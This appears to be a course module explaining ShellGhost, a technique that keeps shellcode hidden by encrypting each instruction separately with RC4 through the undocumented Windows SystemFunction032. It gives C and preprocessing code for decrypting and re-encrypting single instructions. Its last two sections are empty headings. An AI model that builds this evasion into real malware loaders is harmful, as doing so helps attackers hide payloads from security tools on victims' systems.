Module 5: SystemFunction032 & Shellcode Mapping

How ShellGhost pre-processes shellcode into per-instruction encrypted chunks and uses Windows' built-in RC4 API for decryption.

1. The Shellcode Mapping Innovation

ShellGhost's most important innovation is not the VEH handler itself, but the preprocessing step that makes per-instruction handling possible. A Python script (ShellGhost_mapping.py) analyzes the raw shellcode offline and produces the data structures the VEH handler needs at runtime.

2. The CRYPT_BYTES_QUOTA Structure

Each instruction in the shellcode is represented by a CRYPT_BYTES_QUOTA struct containing two fields:

C// Per-instruction mapping structure
typedef struct _CRYPT_BYTES_QUOTA {
    DWORD rva;      // Offset of this instruction from shellcode base
    DWORD quota;    // Number of bytes in this instruction
} CRYPT_BYTES_QUOTA;

TextShellcode disassembly:
  Offset  Bytes           Instruction
  0x0000  48 89 E5        mov rbp, rsp
  0x0003  48 83 EC 20     sub rsp, 0x20
  0x0007  31 C9           xor ecx, ecx
  0x0009  FF D0           call rax
  0x000B  C3              ret

Generated CRYPT_BYTES_QUOTA array:
  { 0x0000, 3 },   // mov rbp, rsp      (3 bytes)
  { 0x0003, 4 },   // sub rsp, 0x20     (4 bytes)
  { 0x0007, 2 },   // xor ecx, ecx      (2 bytes)
  { 0x0009, 2 },   // call rax           (2 bytes)
  { 0x000B, 1 },   // ret                (1 byte)

The preprocessing script generates this array as C source code that is compiled directly into the ShellGhost binary. At runtime, instruction N's location and size are simply map[N].rva and map[N].quota.

3. Per-Instruction Independent Encryption

A critical design decision in ShellGhost: each instruction is encrypted independently. There is no persistent RC4 state carried between instructions. Each encryption/decryption operation is a fresh call to SystemFunction032 with the same key but operating on different data.

4. SystemFunction032: Windows RC4 API

ShellGhost does not implement its own RC4 cipher. Instead, it uses SystemFunction032, an undocumented but well-known function exported by advapi32.dll that performs RC4 encryption/decryption:

C// SystemFunction032 prototype (undocumented, from advapi32.dll)
// Performs RC4 encryption/decryption in-place
typedef NTSTATUS (WINAPI *_SystemFunction032)(
    PUNICODE_STRING Data,   // Buffer to encrypt/decrypt (in-place)
    PUNICODE_STRING Key     // RC4 key
);

// Note: UNICODE_STRING is repurposed here as a generic buffer descriptor:
typedef struct _UNICODE_STRING {
    USHORT Length;           // Number of bytes in the buffer
    USHORT MaximumLength;   // Total buffer capacity
    PWSTR  Buffer;          // Pointer to the data (not actually Unicode)
} UNICODE_STRING;

5. Using SystemFunction032

C// Resolve SystemFunction032 at runtime
HMODULE hAdvapi = LoadLibraryA("advapi32.dll");
_SystemFunction032 SystemFunction032 =
    (_SystemFunction032)GetProcAddress(hAdvapi, "SystemFunction032");

// Decrypt one instruction using SystemFunction032
void DecryptInstruction(PBYTE exec_buf, PBYTE enc_data,
                        CRYPT_BYTES_QUOTA *entry, PBYTE key, USHORT key_len) {
    // Copy encrypted bytes to execution buffer
    memcpy(exec_buf + entry->rva, enc_data + entry->rva, entry->quota);

    // Set up the UNICODE_STRING structures
    UNICODE_STRING data_str;
    data_str.Length = (USHORT)entry->quota;
    data_str.MaximumLength = (USHORT)entry->quota;
    data_str.Buffer = (PWSTR)(exec_buf + entry->rva);

    UNICODE_STRING key_str;
    key_str.Length = key_len;
    key_str.MaximumLength = key_len;
    key_str.Buffer = (PWSTR)key;

    // Decrypt in place (RC4 is symmetric: same operation for encrypt/decrypt)
    SystemFunction032(&data_str, &key_str);
}

// Re-encrypt is the same operation applied again
void ReEncryptInstruction(PBYTE exec_buf,
                          CRYPT_BYTES_QUOTA *entry, PBYTE key, USHORT key_len) {
    UNICODE_STRING data_str;
    data_str.Length = (USHORT)entry->quota;
    data_str.MaximumLength = (USHORT)entry->quota;
    data_str.Buffer = (PWSTR)(exec_buf + entry->rva);

    UNICODE_STRING key_str;
    key_str.Length = key_len;
    key_str.MaximumLength = key_len;
    key_str.Buffer = (PWSTR)key;

    SystemFunction032(&data_str, &key_str);
    // After this, the bytes at exec_buf + entry->rva are encrypted again
}

6. The Preprocessing Script

The ShellGhost_mapping.py script performs these steps:

1. Read the raw shellcode binary file
2. Disassemble the shellcode using a disassembly engine (e.g., Capstone)
3. Record each instruction's offset (RVA) and byte count into a CRYPT_BYTES_QUOTA array
4. Encrypt each instruction's bytes independently using RC4 with the chosen key
5. Output C source code containing:
   • The encrypted shellcode as a byte array
   • The CRYPT_BYTES_QUOTA mapping array
   • The total number of instructions

C// Example output from ShellGhost_mapping.py (compiled into binary)

// Encrypted shellcode data (each instruction encrypted independently)
unsigned char encrypted_shellcode[] = {
    0xA3, 0x7F, 0x12,              // instruction 0 (3 bytes, encrypted)
    0xBB, 0x44, 0x91, 0xD7,        // instruction 1 (4 bytes, encrypted)
    0x5E, 0xC2,                    // instruction 2 (2 bytes, encrypted)
    0x1A, 0xF8,                    // instruction 3 (2 bytes, encrypted)
    0x9D,                          // instruction 4 (1 byte, encrypted)
};

// Instruction mapping
CRYPT_BYTES_QUOTA shellcode_map[] = {
    { 0x0000, 3 },
    { 0x0003, 4 },
    { 0x0007, 2 },
    { 0x0009, 2 },
    { 0x000B, 1 },
};

#define NUM_INSTRUCTIONS 5

7. RC4 Background: How It Works Internally

While ShellGhost uses SystemFunction032 rather than a custom implementation, understanding RC4's internals helps explain why it works for per-instruction encryption:

8. Security Considerations